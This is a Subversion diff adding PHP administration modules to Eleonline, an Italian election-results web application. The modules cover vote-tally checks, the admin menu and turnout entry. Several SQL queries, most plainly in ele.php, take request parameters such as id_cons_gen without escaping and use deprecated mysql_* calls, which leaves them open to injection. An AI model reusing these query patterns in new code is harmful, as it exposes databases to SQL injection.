+		$riga3 .= "<td><b>"._SI."</b></td><td><b>"._NO."</b></td>";
+	} elseif ((($genere==5) or ($genere==3)) and $pag==1){
+		$riga3 .= "<td><b>"._ASOLA_LISTA."</b></td>";
+		if (!$votog) $riga3 .= "<td><b>"._ASOLO_GRUPPO."</b></td>";
+	}
+	$riga3 .= "<td><b>"._VALIDI."</b></td><td><b>"._NULLI."</b></td><td><b>"._BIANCHI."</b></td><td><b>"._CONTESTATI."</b></td>";
+//	if (($genere==2 or $genere==3 or $genere==5) and !$votog)
+//		$riga3 .= "<td><b>"._PREFGRU."</b></td>";
+//	if ($genere>1 and !$votol)
+//		$riga3 .= "<td><b>"._PREFLIS."</b></td>";
+    	$riga3 .= "<td><b>"._STATO."</b></td></tr>\n";
+	$res = mysql_query("$tab ", $dbi);//die($tab);
+	$num_scr = mysql_num_rows($res);
+	$righe= "";
+	$scrutinate=1;
+//	if ($genere>1 and $pag==1) $ops=3;
+	$tot_u=0;$tot_d=0;$tot_voti=0; $tot_si=0;$tot_no=0;$tot_validi=0;$tot_nulli=0;$tot_bianchi=0;$tot_contestati=0;$tgrup_pref=0;$tot_voti_nulli=0;$tot_val_lista=0;$tot_vot_nul_lis=0;$tot_cont_lis=0;$tot_solog=0;$errors=0;
+	while (list($id_gruppo,$id,$num,$si,$no,$validi,$nulli,$bianchi,$contestati,$id_circ,$id_sede,$gruppo,$voti_nulli,$val_lista,$vot_nul_lis,$cont_lis,$solog) = mysql_fetch_row($res)){
+	// inserimento numeri di sez non scrutinate
+		while ($scrutinate < $num) { 
+			$righe.= "<tr align=\"center\"><td><a href=\"admin.php?op=voti&amp;id_cons_gen=$id_cons_gen&amp;id_sez=".$sezione[$scrutinate]['id_sez']."&amp;id_circ=".$sezione[$scrutinate]['id_circ']."&amp;id_sede=".$sezione[$scrutinate]['id_sede']."&amp;do=spoglio&amp;ops=$ops\"><span style=\"color: rgb(255, 0, 0);\">$scrutinate</span></a></td></tr>\n";
+			$scrutinate++;
+		}
+		$scrutinate++; 
+	// fine inserimento	
+		if (($genere==2 or $genere==3 or $genere==5) and !$votog) {
+			$respref = mysql_query("select sum(voti) from ".$prefix."_ele_voti_gruppo where id_sez='$id'", $dbi);
+			list ($gruppref) = mysql_fetch_row($respref); 
+			$tgrup_pref += $gruppref;
+		}
+		$tab2="SELECT max(voti_donne),max(voti_uomini),max(voti_complessivi) FROM ".$prefix."_ele_voti_parziale where id_cons='$id_cons' and id_sez='$id'";
+		if ($genere==0) $tab2 .= " and id_gruppo=$id_gruppo";
+		$res2 = mysql_query($tab2, $dbi);
+		list($votid,$votiu,$voti) = mysql_fetch_row($res2);
+//		$voti=$votiu+$votid;
+		
+		$tot_u+=$votiu;
+		$tot_d+=$votid;
+		$tot_voti+=$voti;
+		$tot_si+=$si;
+		$tot_no+=$no;
+		$tot_validi+=$validi;
+		$tot_nulli+=$nulli;
+		$tot_bianchi+=$bianchi;
+		$tot_contestati+=$contestati;
+		$tot_voti_nulli+=$voti_nulli;
+		$tot_val_lista+=$val_lista;
+		$tot_vot_nul_lis+=$vot_nul_lis;
+		$tot_cont_lis+=$cont_lis;
+		$tot_solog+=$solog;
+		$righe .= "<tr bgcolor=\"$bgcolor2\" align=\"center\"><td>$num</td><td>".number_format($votiu,0,',','.')."</td><td>".number_format($votid,0,',','.')."</td><td>".number_format($voti,0,',','.')."</td>";
+		if ($genere==0 or ((($genere==5) or ($genere==3)) and $pag==1)){$righe .= "<td>".number_format($si,0,',','.')."</td>";}
+		if ($genere==0 or ((($genere==5) or ($genere==3)) and $pag==1 and !$votog)){$righe .= "<td>".number_format($no,0,',','.')."</td>";}
+		$righe .= "<td>".number_format($validi,0,',','.')."</td><td>$nulli</td><td>$bianchi</td><td>$contestati</td>";
+		$g_err=0;
+		if (($genere==2 or $genere==3 or $genere==5) and $pag==1 and !$votog) {
+			if ($gruppref!=$validi) {
+				$g_err=1;
+				$ops=4;
+			}
+		}
+		$controllo1=$validi+$nulli+$bianchi+$contestati+$voti_nulli; #prova
+		$controllo2=$si+$no;
+		if($genere==5) #$validi+$nulli+$bianchi+$vcont+$vn 
+			if($pag==0 and !$votog or $fascia<=$limite) {$controllo1=$validi+$nulli+$bianchi+$contestati+$voti_nulli;} else { $controllo1=$val_lista+$nulli+$bianchi+$cont_lis+$vot_nul_lis+$solog;$controllo2=$si+$no-$voti_nulli-$contestati+$cont_lis+$vot_nul_lis;}
+		if ($voti==$controllo1 and $validi==$controllo2 and !$g_err){
+			$righe .= "<td>"._OK."</td></tr>\n";
+		}else{
+			$righe .= "<td><a href=\"admin.php?op=voti&amp;id_cons_gen=$id_cons_gen&amp;id_sez=$id&amp;id_circ=$id_circ&amp;id_sede=$id_sede&amp;do=spoglio&amp;ops=$ops\"><span style=\"color: rgb(255, 0, 0);\">"._ERRORE."</span></a></td></tr>\n";$errors=1;
+			if ($ops==4) $ops=3;
+		}
+	}
+	if ($num<$num_sez) {
+		for (;$scrutinate<=$num_sez;$scrutinate++) {
+			$righe .= "<tr align=\"center\"><td><a href=\"admin.php?op=voti&amp;id_cons_gen=$id_cons_gen&amp;id_sez=".$sezione[$scrutinate]['id_sez']."&amp;id_circ=".$sezione[$scrutinate]['id_circ']."&amp;id_sede=".$sezione[$scrutinate]['id_sede']."&amp;do=spoglio&amp;ops=$ops\"><span style=\"color: rgb(255, 0, 0);\">$scrutinate</span></td></tr>\n";
+		}
+	}
+	if($num_scr){
+	$righet = "<tr align=\"center\"><td><b>"._TOT."</b></td><td><b>".number_format($tot_u,0,',','.')."</b><br><i>(".number_format($tot_u*100/$totm,2)." %)</i></td><td><b>".number_format($tot_d,0,',','.')."</b><br><i>(".number_format($tot_d*100/$totf,2)." %)</i></td><td><b>".number_format($tot_voti,0,',','.')."</b><br><i>(".number_format($tot_voti*100/$totel,2)." %)</i></td>";
+	// se e' un referendum o una consultazione con raggruppamenti
+	if($tot_validi){
+	if ($genere==0 or ((($genere==5) or ($genere==3)) and $pag==1)){$righet .= "<td><b>".number_format($tot_si,0,',','.')."</b><br><i>(".number_format($tot_si*100/$tot_validi,2)." %)</i></td>";}
+	if ($genere==0 or ((($genere==5) or ($genere==3)) and $pag==1 and !$votog)){$righet .= "<td><b>".number_format($tot_no,0,',','.')."</b><br><i>(".number_format($tot_no*100/$tot_validi,2)." %)</i></td>";}
+	$righet .= "<td><b>".number_format($tot_validi,0,',','.')."</b><br><i>(".number_format($tot_validi*100/$tot_voti,2)." %)</i></td><td><b>"
+	.number_format($tot_nulli,0,',','.')."</b><br><i>(".number_format($tot_nulli*100/$tot_voti,2)." %)</i></td><td><b>".number_format($tot_bianchi,0,',','.')."</b><br><i>(".number_format($tot_bianchi*100/$tot_voti,2)." %)</i></td><td><b>".number_format($tot_contestati,0,',','.')."</b><br><i>(".number_format($tot_contestati*100/$tot_voti,2)." %)</i></td>";
+	}else{
+	if ($genere==0 or ((($genere==5) or ($genere==3)) and $pag==1)){$righet .= "<td><b>".number_format($tot_si,0,',','.')."</b><br><i>(0.00 %)</i></td>";}
+	if ($genere==0 or ((($genere==5) or ($genere==3)) and $pag==1 and !$votog)){$righet .= "<td><b>".number_format($tot_no,0,',','.')."</b><br><i>(0.00 %)</i></td>";}
+	$righet .= "<td><b>".number_format($tot_validi,0,',','.')."</b><br><i>(0.00 %)</i></td><td><b>"
+	.number_format($tot_nulli,0,',','.')."</b><br><i>(".number_format($tot_nulli*100/$tot_voti,2)." %)</i></td><td><b>".number_format($tot_bianchi,0,',','.')."</b><br><i>(".number_format($tot_bianchi*100/$tot_voti,2)." %)</i></td><td><b>".number_format($tot_contestati,0,',','.')."</b><br><i>(".number_format($tot_contestati*100/$tot_voti,2)." %)</i></td>";
+	}
+	$g_err=0;
+	if (($genere==2 or $genere==3 or $genere==5) and $pag==1 and !$votog) {
+		if ($tgrup_pref!=$tot_validi) {
+			$g_err=1;
+		}
+	}
+#	if ($tot_voti==$tot_validi+$tot_nulli+$tot_bianchi+$tot_contestati and
+#		$tot_validi==$tot_si+$tot_no and !$g_err) {
+	if (! $errors) {
+		$righet .= "<td>"._OK."</td></tr>\n";
+	}else{
+		$righet .= "<td><span style=\"color: rgb(255, 0, 0);\">"._ERRORE."</span></td></tr>\n";
+	}
+	}else $righet='';
+	//$righe .= "</table></td></tr>\n";
+
+	echo "$riga1";
+	echo $riga2;
+	echo $righet;
+	echo $riga3;
+	echo $righe;
+	CloseTable();
+
+    echo"<table align=\"center\" width=\"100%\" bgcolor=\"$bgcolor1\"><tr>\n";
+    if($genere==0){ //se e' referendum
+        #'Pagina precedente' e 'Pagina Successiva'
+	    $cur=$num_ref;
+        if ($cur>1) {
+              $num_ref--;
+			  echo "<td colspan=\"5\" align=\"center\" bgcolor=\"$bgcolor1\"><a href=\"admin.php?op=controllo_voti&amp;id_cons_gen=$id_cons_gen&amp;num_ref=$num_ref&amp;num_refs=$num_refs\">";
+              echo "<b>"._PREV_MATCH."</b></a></td>";
+        }
+        if ($cur<$num_refs) {
+	        $cur++;        
+			echo "<td colspan=\"5\" align=\"center\" bgcolor=\"$bgcolor1\"><a href=\"admin.php?op=controllo_voti&amp;id_cons_gen=$id_cons_gen&amp;num_ref=$cur&amp;num_refs=$num_refs\">";
+            echo "<b>"._NEXT_MATCH."</b></a></td>";
+        }
+    }elseif(($genere==5 and $fascia>=$limite) or ($genere==3) or ($genere==2) or $genere==1){ //se vi sono raggruppamenti
+		$pag=($pag==0 ? 1:0);
+		echo "<td colspan=\"5\" align=\"center\" bgcolor=\"$bgcolor1\"><a href=\"admin.php?op=controllo_voti&amp;id_cons_gen=$id_cons_gen&amp;pag=$pag\"><b>";
+        if($pag) echo _CONTR_PREF;
+		else echo _CONTR_ESPR;
+		echo "</b></a></td>";
+
+	}/* elseif ($genere==1){
+		$pag=($pag==0 ? 1:0);
+		echo "<td colspan=\"5\" align=\"center\" bgcolor=\"$bgcolor1\"><a href=\"admin.php?op=controllo_voti&amp;id_cons_gen=$id_cons_gen&amp;pag=$pag\"><b>";
+        if($pag) echo _CONTR_GRUP;
+		else echo _CONTR_ESPR;
+		echo "</b></a></td>";
+	}*/
+	echo "</tr></table><br>\n";
+echo "</table>\n</td></tr></table>\n";
+
+   include ("footer.php");
+
+?>
Index: /trunk/elezioni/trunk/admin/modules/Elezioni/ele.php
===================================================================
--- /trunk/elezioni/trunk/admin/modules/Elezioni/ele.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/modules/Elezioni/ele.php	(revision 44)
@@ -0,0 +1,293 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Roberto Gigli & Luciano Apolito                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+/* Modulo menu                                                          */
+/* Amministrazione                                                      */
+/************************************************************************/
+
+if (!defined('ADMIN_FILE')) {
+    die ("You can't access this file directly...");
+}
+if (!ini_get("register_globals")) {
+    $php_ver = phpversion();
+    $php_ver = explode(".", $php_ver);
+    $phpver = "$php_ver[0]$php_ver[1]";
+    if ($phpver >= 41) {
+	$PHP_SELF = $_SERVER['PHP_SELF'];
+    }
+}
+
+$aid=$_SESSION['aid'];
+$dbi=$_SESSION['dbi'];
+$id_comune=$_SESSION['id_comune'];
+$prefix=$_SESSION['prefix'];
+$currentlang=$_SESSION['lang'];
+$bgcolor1=$_SESSION['bgcolor1'];
+$bgcolor2=$_SESSION['bgcolor2'];
+$bgcolor1='#e7e7e7';
+$param=strtolower($_SERVER['REQUEST_METHOD']) == 'get' ? $_GET : $_POST;
+
+if (!isset($id_cons_gen)) if (isset($param['id_cons_gen'])) $id_cons_gen=$param['id_cons_gen'];else $id_cons_gen='0';
+$perms=ChiSei($id_cons_gen);
+
+##modifica
+if ($perms>128){
+	if (isset($param['id_comune']) && intval($param['id_comune'])>0) {
+		$id_comune=intval($param['id_comune']);
+		$_SESSION['id_comune']=$id_comune;
+	}	
+}
+
+if ($id_cons_gen) {
+	if ($id_comune and $perms<256)
+		$sql = "SELECT t1.tipo_cons,t1.descrizione,t2.id_cons_gen FROM ".$prefix."_ele_consultazione as t1, ".$prefix."_ele_cons_comune as t2 where t1.id_cons_gen=t2.id_cons_gen and t2.id_cons_gen='$id_cons_gen'";
+	else
+		$sql = "SELECT t1.tipo_cons,t1.descrizione,t1.id_cons_gen FROM ".$prefix."_ele_consultazione as t1 where  t1.id_cons_gen='$id_cons_gen'";
+}else{
+	if($perms>128)
+		$sql = "SELECT tipo_cons,descrizione,id_cons_gen FROM ".$prefix."_ele_consultazione order by data_fine desc limit 0,1 ";
+	else
+		$sql = "SELECT t1.tipo_cons,t1.descrizione,t2.id_cons_gen FROM ".$prefix."_ele_consultazione as t1, ".$prefix."_ele_cons_comune as t2, ".$prefix."_ele_operatori as t3 where t3.id_comune=$id_comune and t3.id_comune=t2.id_comune and t1.id_cons_gen=t2.id_cons_gen and t2.chiusa='0' and (t3.id_cons=t2.id_cons or t3.id_cons=0) and t3.permessi>0 and t3.aid='$aid' order by t1.data_fine desc limit 0,1 ";
+}
+
+	$res = mysql_query("$sql",$dbi);
+	$espandi=0;
+	if (mysql_num_rows($res))
+		list($tipo_cons,$descr_cons,$id_cons_gen) = mysql_fetch_row($res);
+	$res = mysql_query("SELECT t2.id_cons FROM ".$prefix."_ele_consultazione as t1, ".$prefix."_ele_cons_comune as t2 where t1.id_cons_gen=t2.id_cons_gen and t2.id_cons_gen='$id_cons_gen' and t2.id_comune='$id_comune'" , $dbi);
+        if (mysql_num_rows($res)) list($id_cons) = mysql_fetch_row($res);
+	else	$espandi=1;
+	if(!isset($tipo_cons))$tipo_cons=0;
+	$res = mysql_query("SELECT genere,voto_g,voto_l,voto_c,circo FROM ".$prefix."_ele_tipo where tipo_cons='$tipo_cons' and lingua='$currentlang'" , $dbi);
+	list($genere,$votog,$votol,$votoc,$conscirc) = mysql_fetch_row($res);
+if (!$perms) $perms=ChiSei($id_cons_gen);
+	//include("modules/Elezioni/language/lang-$currentlang.php");
+	//**************************************************************************
+	//        ELE
+	//**************************************************************************
+	if(!isset($id_cons))$id_cons=0;
+
+	$res = mysql_query("SELECT t1.limite FROM ".$prefix."_ele_conf as t1 left join ".$prefix."_ele_cons_comune as t2 on t1.id_conf=t2.id_conf where t2.id_cons='$id_cons'" , $dbi);
+	list($limite) = mysql_fetch_row($res);
+
+function ele() {
+
+	global $espandi, $aid, $bgcolor1, $bgcolor2,$bgcolor5, $prefix, $dbi, $offset, $min,$descr_cons,$fascia, $id_cons_gen,$tipo_cons,$genere,$op,$id_comune,$perms,$id_cons,$votog,$votol,$votoc,$votocirc,$tema;
+	
+	include ("header.php");
+        //immagine bullet
+        $bullet="<img src=\"temi/$tema/images/bullet.gif\" alt =\" \" align=\"left\" border=\"0\">";
+	$bgcolor1='#e7e7e7';
+	$sqlcomu="select descrizione,fascia from ".$prefix."_ele_comuni where id_comune='$id_comune'";
+	$res = mysql_query($sqlcomu);
+	list($descr_comu,$fascia)=mysql_fetch_row($res);
+	
+	$otable= "<table bgcolor=\"$bgcolor1\" width=\"100%\"   cellpadding=\"0\" cellspacing=\"2\"  BORDER=\"0\">\n <tr><td>&nbsp;&nbsp;&nbsp;</td><td valign=\"top\" align=\"left\">";
+	$otable1= "<table  width=\"100%\"   cellpadding=\"0\" cellspacing=\"2\"  BORDER=\"0\">\n <tr><td valign=\"top\" width=\"180\">";
+        $ctable= "</td></tr></table>";
+$currentlang=$_SESSION['lang'];
+	
+	
+	
+	echo "<form name=\"scelta\" action=\"admin.php\">";
+	echo $otable;
+	echo "<input type=\"hidden\" name=\"pag_cons\" value=\"admin.php?id_cons_gen=\">";
+	echo "<input type=\"hidden\" name=\"op\" value=\"ele\">";
+	
+	if ($perms<128) { 
+		$res = mysql_query("select t3.id_cons, t2.descrizione,t4.genere, t2.id_cons_gen, t3.chiusa from ".$prefix."_ele_operatori as t1, ".$prefix."_ele_consultazione as t2, ".$prefix."_ele_cons_comune as t3, ".$prefix."_ele_tipo as t4 where t4.lingua='$currentlang' and t2.tipo_cons=t4.tipo_cons and t1.aid='$aid' and t3.id_cons_gen=t2.id_cons_gen and (t1.id_cons=t3.id_cons or t1.permessi=64) and t1.id_comune=t3.id_comune and t1.id_comune=$id_comune and t3.chiusa='0' order by t2.data_inizio desc", $dbi);
+	}else{
+		$res = mysql_query("SELECT '', t1.descrizione,t2.genere, t1.id_cons_gen,'' FROM ".$prefix."_ele_consultazione as t1,".$prefix."_ele_tipo as t2 where t2.lingua='$currentlang' and t1.tipo_cons=t2.tipo_cons order by t1.data_inizio desc", $dbi);
+		$sqlcomu="select id_comune,descrizione from ".$prefix."_ele_comuni order by descrizione asc";
+	}
+	echo "<font size=-1><b>"._SCELTA_CONS.":</b> </font><select name=\"id_cons_gen\" onChange=\"top.location.href=this.form.pag_cons.value+this.form.id_cons_gen.options[this.form.id_cons_gen.selectedIndex].value;return false\">";
+	while(list($id,$descrizione,$gen2,$idgen,$chiusa) = mysql_fetch_row($res)) { 
+		if (($chiusa==0) OR ($perms>32)) {
+			if (($idgen==$id_cons_gen or !$id_cons_gen)) {
+					$sel = "selected";
+					$genere=$gen2;
+					$id_cons_gen=$idgen;
+			} else {
+					$sel = "";
+			}
+			echo "<option value=\"$idgen\" $sel>$descrizione";
+		}
+	}
+	echo "</select>";
+	// controllo delle opzioni utilizzabili: sono quelle che hanno genitori in quella precedente
+	// esempio si possono inserire i candidati solo se prima sono state inserite le liste
+	$resq = mysql_query("select count(0) from ".$prefix."_ele_circoscrizione where id_cons=$id_cons", $dbi);
+	if ($resq) list($nrcirco)=mysql_fetch_row($resq); else $nrcirco=0;
+	$resq = mysql_query("select count(0) from ".$prefix."_ele_sede where id_cons=$id_cons", $dbi);
+	if ($resq) list($nrsede)=mysql_fetch_row($resq); else $nrsede=0;
+	$resq = mysql_query("select count(0) from ".$prefix."_ele_gruppo where id_cons=$id_cons", $dbi);
+	if ($resq) list($nrgruppo)=mysql_fetch_row($resq); else $nrgruppo=0;
+	$resq = mysql_query("select count(0) from ".$prefix."_ele_lista where id_cons=$id_cons", $dbi);
+	if ($resq) list($nrlista)=mysql_fetch_row($resq); else $nrlista=0;
+	$resq = mysql_query("SELECT sum(voti_complessivi) from ".$prefix."_ele_voti_parziale where id_cons=$id_cons", $dbi);
+	if ($resq) list($nraff)=mysql_fetch_row($resq); else $nraff=0;
+	if ($genere==0) $tmpval='voti_ref'; else $tmpval='sezioni';
+	$resq = mysql_query("SELECT sum(validi) from ".$prefix."_ele_$tmpval where id_cons=$id_cons", $dbi);
+	if ($resq) list($nrvoti)=mysql_fetch_row($resq); else $nrvoti=0;
+	unset($resq);
+	if ($perms==256) // il superuser puo' scegliere il comune su cui lavorare
+	{
+		$rescomu= mysql_query("$sqlcomu",$dbi);
+		echo "<select name=\"id_comune\" onChange=\"top.location.href=this.form.pag_cons.value+$id_cons_gen+'&amp;id_comune='+this.form.id_comune.options[this.form.id_comune.selectedIndex].value;return false\"><option value=\"\">";
+		while (list($id,$descrizione)=mysql_fetch_row($rescomu))
+		{
+		$sel=($id == $id_comune) ? "selected":"";
+		echo "<option value=\"$id\" $sel>$descrizione";
+		}
+	}
+	echo "</select>";
+	echo $ctable;
+	echo "</form>";
+	
+	
+	echo "<br>";
+	
+	echo $otable1;
+	echo "<table width=\"180\" align=\"left\"><tr><td><table>";
+	
+
+	if ($perms>128) {
+	
+	
+#		<a href=\"admin.php?op=inscollegi&amp;id_cons_gen=$id_cons_gen\">$bullet"._COLLEGI."</a><br>
+	
+	echo "
+		<tr align=\"left\" width=\"160\" bgcolor=\"$bgcolor1\">
+		<td valign=\"top\" align=\"center\" bgcolor=\"#000000\"><font face=\"Arial,Helvetica\" size=-1><font color=\"#ffffff\"><b>"._SUPER."
+
+              </b></font></font>
+		
+		</td>
+		<td valign=\"top\" align=\"left\" width=\"150\">
+		
+		
+		<a href=\"admin.php?op=configurazione&amp;id_cons_gen=$id_cons_gen\">$bullet"._CONFIGURAZIONE."</a><br/>";
+		if($op=="configurazione" || $op=="widget" || $op=="plugin"){ 
+		    echo "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; - <a href=\"admin.php?op=widget&amp;id_cons_gen=$id_cons_gen\"> "._WIDGET."</a>";
+		    echo "<br/> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; - "._PLUGINS."";
+		    echo "<hr/>";
+		}
+		echo "<a href=\"admin.php?op=consultazione&amp;id_cons_gen=$id_cons_gen\">$bullet"._CONSULTAZIONE_ADM."</a><br>
+		<a href=\"admin.php?op=constipi&amp;id_cons_gen=$id_cons_gen\">$bullet"._TIPO_ADM."</a><br>
+
+		<a href=\"admin.php?op=associazioni&amp;id_cons_gen=$id_cons_gen\">$bullet"._INSCOMUNE."</a><br>
+		<a href=\"admin.php?op=rec_add_aff&amp;id_cons_gen=$id_cons_gen\">$bullet"._AFFLUENZE."</a><br>
+		<a href=\"admin.php?op=inscomuni&amp;id_cons_gen=$id_cons_gen\">$bullet"._DEFCOMUNE."</a><br>
+		<a href=\"admin.php?op=oper_admin&amp;id_cons_gen=$id_cons_gen\">$bullet"._AMMINISTRATORI."</a><br>
+		<a href=\"admin.php?op=confconsiglio&amp;id_cons_gen=$id_cons_gen\">$bullet"._CONFCONS."</a><br>
+		<a href=\"admin.php?op=backup&amp;id_cons_gen=$id_cons_gen\">$bullet"._BACKUP."</a><br>
+		<a href=\"admin.php?op=restore&amp;id_cons_gen=$id_cons_gen\">$bullet"._RESTORE."</a>
+		
+		</td></tr>";
+	} 
+//	Amministrazione locale solo superuser e adminuser
+	if ($perms>16 and ! $espandi) {
+		echo "
+		<tr bgcolor=\"$bgcolor1\">
+		<td valign=\"top\" align=\"center\" bgcolor=\"#000000\"><font face=\"Arial,Helvetica\" size=-1><font color=\"#ffffff\"><b>"._ADMIN."
+
+                </b></font></font>
+		
+		</td>
+		<td valign=\"top\">";
+		if ($perms>32) {
+			echo "<a href=\"admin.php?op=cons_comuni&amp;id_cons_gen=$id_cons_gen\">$bullet"._CONSULTAZIONI."</a><br>
+			<a href=\"admin.php?op=scarica&amp;id_cons_gen=$id_cons_gen\">$bullet"._SCARICA."</a><br>";
+#			if($nrgruppo==0 and $nrlista==0)
+			echo "<a href=\"admin.php?op=importa&amp;id_cons_gen=$id_cons_gen\">$bullet"._IMPORTA."</a><br>";
+			echo "<a href=\"admin.php?op=operatori&amp;id_cons_gen=$id_cons_gen\">$bullet"._OPERATORI."</a> <br><a href=\"admin.php?op=permessi&amp;id_cons_gen=$id_cons_gen\">$bullet"._PERMESSI."</a> <br>";
+		}
+		echo "<a href=\"admin.php?op=come&amp;vai=come&amp;id_cons_gen=$id_cons_gen\">$bullet "._COME."</a> <br>
+		<a href=\"admin.php?op=numeri&amp;vai=numeri&amp;id_cons_gen=$id_cons_gen\">$bullet "._NUMERI."</a> <br>
+		<a href=\"admin.php?op=servizi&amp;vai=servizi&amp;id_cons_gen=$id_cons_gen\">$bullet "._SERVIZI."</a> <br>
+                <a href=\"admin.php?op=link&amp;vai=link&amp;id_cons_gen=$id_cons_gen\">$bullet "._LINK."</a> <br>
+		<a href=\"admin.php?op=circo&amp;id_cons_gen=$id_cons_gen\">
+		
+		$bullet"._CIRCO."</a> <br>";
+		if ($nrcirco){
+			echo "<a href=\"admin.php?op=sede&amp;id_cons_gen=$id_cons_gen\">$bullet "._SEDE."</a> <br>";
+			if ($nrsede){
+				echo "<a href=\"admin.php?op=sezione&amp;id_cons_gen=$id_cons_gen\">$bullet "._SEZIONE."</a><br>";
+			}
+		}
+		if ($genere!=4) { //gestisce gruppi  if ($tipo_cons!=8){ $genere!=2 and 
+			echo "<a href=\"admin.php?op=gruppo&amp;id_cons_gen=$id_cons_gen\">$bullet "._GRUPPO."</a><br>";
+		}
+
+		if ($genere>2 or $genere==1){ ####prova 
+			if ($genere==4 or $nrgruppo){ // or $tipo_cons==10 or $tipo_cons==11){
+				echo "
+				<a href=\"admin.php?op=lista&amp;id_cons_gen=$id_cons_gen\">$bullet "._LISTA."</a> <br>";
+			   if ($genere>2){  ####prova
+				if ($nrlista){
+					echo "<a href=\"admin.php?op=candidato&amp;id_cons_gen=$id_cons_gen\">$bullet"._CANDIDATO."</a> <br>";
+				}else{
+					echo "$bullet "._CANDIDATO." ";
+				}
+			   }
+			}else{
+				echo "
+				$bullet"._LISTA." <br>";
+				echo "$bullet "._CANDIDATO." <br>";
+			
+			}
+			
+		}
+
+	echo "</td></tr>";
+	}
+	
+		
+	//Amministrazione normale operatore
+	echo "<tr bgcolor=\"$bgcolor1\">
+	<td valign=\"top\" align=\"center\" bgcolor=\"#000000\"><font face=\"Arial,Helvetica\" size=-1><font color=\"#ffffff\"><b>"._OPER."
+
+                </b></font></font>
+		
+		</td>
+	<td valign=\"top\" width=\"150\">";
+	if ($op!='consultazione' and $perms>0 and $nrcirco and ($nrlista or $nrgruppo)) {
+			echo "<a href=\"admin.php?op=voti&amp;id_cons_gen=$id_cons_gen&amp;do=circo\">$bullet "._GEST." "._SPOGLIO."</a><br>";
+		if ($nraff) {
+			echo "<a href=\"admin.php?op=controllo_votanti&amp;id_cons_gen=$id_cons_gen\">$bullet "._STATO." "._AFFLUENZE."</a><br>";
+		}else{
+			echo "<img src=\"modules/Elezioni/images/site.gif\" align=\"center\" border=\"0\"> "._STATO." "._AFFLUENZE."<br>";
+		}
+		if ($nrvoti) {
+			echo "<a href=\"admin.php?op=controllo_voti&amp;id_cons_gen=$id_cons_gen\">$bullet "._STATO." "._VOTI."</a><br>";
+		}else{
+			echo "<img src=\"modules/Elezioni/images/site.gif\" align=\"middle\" border=\"0\"> "._STATO." "._VOTI."<br>";
+		}
+	}
+		echo "<br><a href=\"admin.php?op=cambiopwd&amp;id_cons_gen=$id_cons_gen\">$bullet"._CAMBIOPWD."</a><br>";
+	echo "<a href=\"admin.php?op=logout\">$bullet "._ESCI."</a>";
+	echo "</td></tr></table>";
+	// continua la tabella su ele.voti con le sezioni
+	// altrimenti inizia la tabella centrale
+	
+	if ($op!="voti")
+	echo "</td></tr></table></td><td valign=\"top\" align=left>";
+
+}
+
+	switch ($op){
+		case "ele":
+		ele();
+		echo"</td></tr></table>";
+		include("footer.php");
+
+		break;
+		
+	}
+
+
+?>
Index: /trunk/elezioni/trunk/admin/modules/Elezioni/ele_affluenze.php
===================================================================
--- /trunk/elezioni/trunk/admin/modules/Elezioni/ele_affluenze.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/modules/Elezioni/ele_affluenze.php	(revision 44)
@@ -0,0 +1,166 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Roberto Gigli & Luciano Apolito                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+/* Modulo Affluenze                                                     */
+/* Amministrazione                                                      */
+/************************************************************************/
+
+
+if (!defined('ADMIN_FILE')) {
+    die ("You can't access this file directly...");
+}
+
+$aid=$_SESSION['aid'];
+$dbi=$_SESSION['dbi'];
+$prefix=$_SESSION['prefix'];
+$currentlang=$_SESSION['lang'];
+$id_cons_gen=$_GET['id_cons_gen'];
+$perms=ChiSei(0);
+if ($perms<256 or !$id_cons_gen) die("Non hai i permessi per inserire dati, o non hai scelto la consultazione!");
+$res = mysql_query("SELECT t1.tipo_cons,t2.genere,t1.descrizione FROM ".$prefix."_ele_consultazione as t1, ".$prefix."_ele_tipo as t2 where t1.tipo_cons=t2.tipo_cons and t1.id_cons_gen='$id_cons_gen' " , $dbi);
+list($tipo_cons,$genere,$descr_cons) = mysql_fetch_row($res);
+if (isset($_GET['min'])) $min=intval($_GET['min']); else $min=0;
+if (isset($_GET['do'])) get_magic_quotes_gpc() ? $do=$param['do']:$do=addslashes($param['do']); else $do='';
+if (isset($_GET['ov'])) $ov=intval($_GET['ov']); else $ov='';
+if (isset($_GET['mv'])) $mv=intval($_GET['mv']); else $mv='';
+if (isset($_GET['gv'])) $gv=intval($_GET['gv']); else $gv='';
+if (isset($_GET['msv'])) $msv=intval($_GET['msv']); else $msv='';
+if (isset($_GET['av'])) $av=intval($_GET['av']); else $av='';
+if (isset($_GET['tipo'])) get_magic_quotes_gpc() ? $tipo=$param['tipo']:$tipo=addslashes($param['tipo']); else $tipo='';
+if (isset($_GET['ok'])) get_magic_quotes_gpc() ? $ok=$param['ok']:$ok=addslashes($param['ok']); else $ok='';
+if (isset($_GET['modello'])) get_magic_quotes_gpc() ? $modello=$param['modello']:$modello=addslashes($param['modello']); else $modello='';
+
+include("modules/Elezioni/funzionidata.php");
+include("modules/Elezioni/ele.php");
+$offset=15;
+$hiddenInfo = "<input type=\"hidden\" name=\"min\" value=\"$min\">";
+
+
+
+
+	/******************************************************/
+	/*Funzione di visualizzazione globale                 */
+	/*****************************************************/
+	//crea la pagina delle affluenze
+	function all() {
+		global $bgcolor1, $bgcolor2, $prefix, $dbi, $offset, $min,$id_cons_gen;
+
+
+		echo "<br><br> <table border=\"0\" width=\"60%\"  align=\"center\">"
+		."<tr><td bgcolor=\"$bgcolor1\" align=\"center\"><b>"._ORA."</b></td>"
+		."<td bgcolor=\"$bgcolor1\" align=\"center\"><b>"._DATA."</b></td>";
+#		echo "<td bgcolor=\"$bgcolor1\">&nbsp;</td>";
+		echo "<td bgcolor=\"$bgcolor1\">&nbsp;</td></tr>";
+		$res = mysql_query("SELECT * FROM ".$prefix."_ele_rilaff where id_cons_gen=$id_cons_gen order by data,orario", $dbi);
+		$max = mysql_num_rows($res);
+
+		echo "<form name=\"rilaff\" action=\"admin.php\">"
